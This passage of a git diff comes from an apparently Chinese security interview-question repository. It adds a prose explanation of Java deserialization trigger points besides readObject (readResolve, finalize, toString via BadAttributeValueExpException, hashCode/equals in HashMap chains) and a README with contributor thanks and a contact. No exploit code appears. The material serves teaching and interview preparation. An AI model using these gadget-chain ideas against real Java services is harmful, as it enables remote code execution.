提供常量对象,通常用于提供 Runtime 实例 | +| ChainedTransformer | 串联多个Transformer | 驱动整个攻击链,按顺序执行每个 Transformer | \ No newline at end of file diff --git a/Chapter14/14-9.md b/Chapter14/14-9.md new file mode 100644 index 0000000..bd522e5 --- /dev/null +++ b/Chapter14/14-9.md @@ -0,0 +1,43 @@ +### 反序列化除了readObject 还有什么触发点 + +**1. `readResolve()` 和 `writeReplace()`** + +这两个方法主要用于控制对象的序列化和反序列化过程,它们可以用来触发攻击链 + +- **原理**: + - `writeReplace()`:这个方法在对象被序列化时调用。它允许开发者用另一个对象来替换即将被序列化的对象。攻击者可以利用这个方法,让一个无害的对象在序列化时被替换成一个恶意的对象 + - `readResolve()`:这个方法在对象被反序列化后调用。它允许开发者用另一个对象来替换刚刚反序列化得到的对象。攻击者可以利用这个方法,在反序列化时触发攻击链,例如调用一个可以触发 JNDI 注入的类 +- **攻击链举例**: + - 攻击者构造一个恶意的对象,这个对象的 `readResolve()` 方法被重写,用于返回一个可以触发 JNDI 注入的 `JdbcRowSetImpl` 对象 + - 当应用程序反序列化这个对象时,`readResolve()` 方法会被自动调用,从而将攻击链的控制权转移到 `JdbcRowSetImpl` 上,最终导致 RCE + +**2. `finalize()`** + +`finalize()` 方法是一个“魔法”方法,它在对象被垃圾回收时调用 + +- **原理**:在某些情况下,当一个对象被反序列化后,如果它不再被引用,Java 虚拟机(JVM)可能会将其放入垃圾回收队列。在垃圾回收前,JVM 会调用对象的 `finalize()` 方法 +- **攻击链举例**: + - 攻击者构造一个恶意的对象,这个对象的 `finalize()` 方法被重写,用于执行系统命令 + - 当应用程序反序列化并丢弃这个对象时,如果垃圾回收被触发,`finalize()` 方法就会被调用,从而执行恶意代码 +- **局限性**:这种方法不常见,因为它**不可预测**。你无法控制垃圾回收何时发生,甚至无法保证它一定会发生。因此,它不是一个可靠的漏洞利用方式,但其原理是成立的 + +**3. `toString()`** + +在某些情况下,某些类在反序列化时会调用其内部对象的 `toString()` 方法 + +- **原理**:当一个对象被反序列化时,如果它被放入到一个需要调用 `toString()` 的上下文中(例如,在日志记录中),那么 `toString()` 方法就会被自动调用 +- **攻击链举例**: + - 攻击者找到一个类,它的 `toString()` 方法可以间接触发命令执行 + - 攻击者构造一个恶意的序列化对象,这个对象包含上面找到的类 + - 当应用程序反序列化这个对象,并将其放入一个需要调用 `toString()` 的上下文中时,就会触发攻击链 + - 典型的例子是 `BadAttributeValueExpException` 这个类,它的 `readObject()` 方法会调用内部对象的 `toString()`,从而可以触发 `InvokerTransformer` 的攻击链 + +**4. `hashCode()` 和 `equals()`** + +这两个方法通常用于哈希表(`HashMap`、`HashSet`)等集合类中 + +- **原理**:当一个哈希表被反序列化时,它需要重新构建内部的数据结构。在这个过程中,它会调用其存储的对象的 `hashCode()` 和 `equals()` 方法 +- **攻击链举例**: + - 攻击者构造一个恶意的哈希表,并向其中放入一个可以被利用的对象 + - 当这个哈希表被反序列化时,它的 `hashCode()` 方法会被调用 + - 攻击者可以利用一些特殊的类(例如 `HashSet`),让其在 `hashCode()` 方法中调用其他恶意对象的 `transform()` 方法,从而触发攻击链 \ No newline at end of file diff --git a/Chapter14/README.md b/Chapter14/README.md index 8b13789..9eecb4f 100644 --- a/Chapter14/README.md +++ b/Chapter14/README.md @@ -1 +1,20 @@ +# 网安面试题(涵盖护网、红队、逆向、二进制) +上万道安全面试题已经全部为您划分好,适用于网络安全所有岗位!!! + +HR:请问………… + +我:叽里咕噜说啥呢,看看八股文上写了没 + +(Summary.md 是目录噢!!) + +**🙏 特别感谢名单** + +在整理和完善本项目的过程中,以下朋友给予了宝贵的帮助与支持,在此表示诚挚的感谢!(排名不分先后) + +- **@用户名1** —— 提供了大量安全面试题方向的补充 +- **@用户名2** —— 纠正了多个问题的答案与表述 +- **@用户名3** —— 贡献了真实面试题经验分享 +- **@用户名4** —— 对内容结构与目录提出改进建议 + +如果您也愿意参与本项目,欢迎通过 **微信: XR3327026244** 投稿面试题或反馈问题,我们会在后续版本中加入您的名字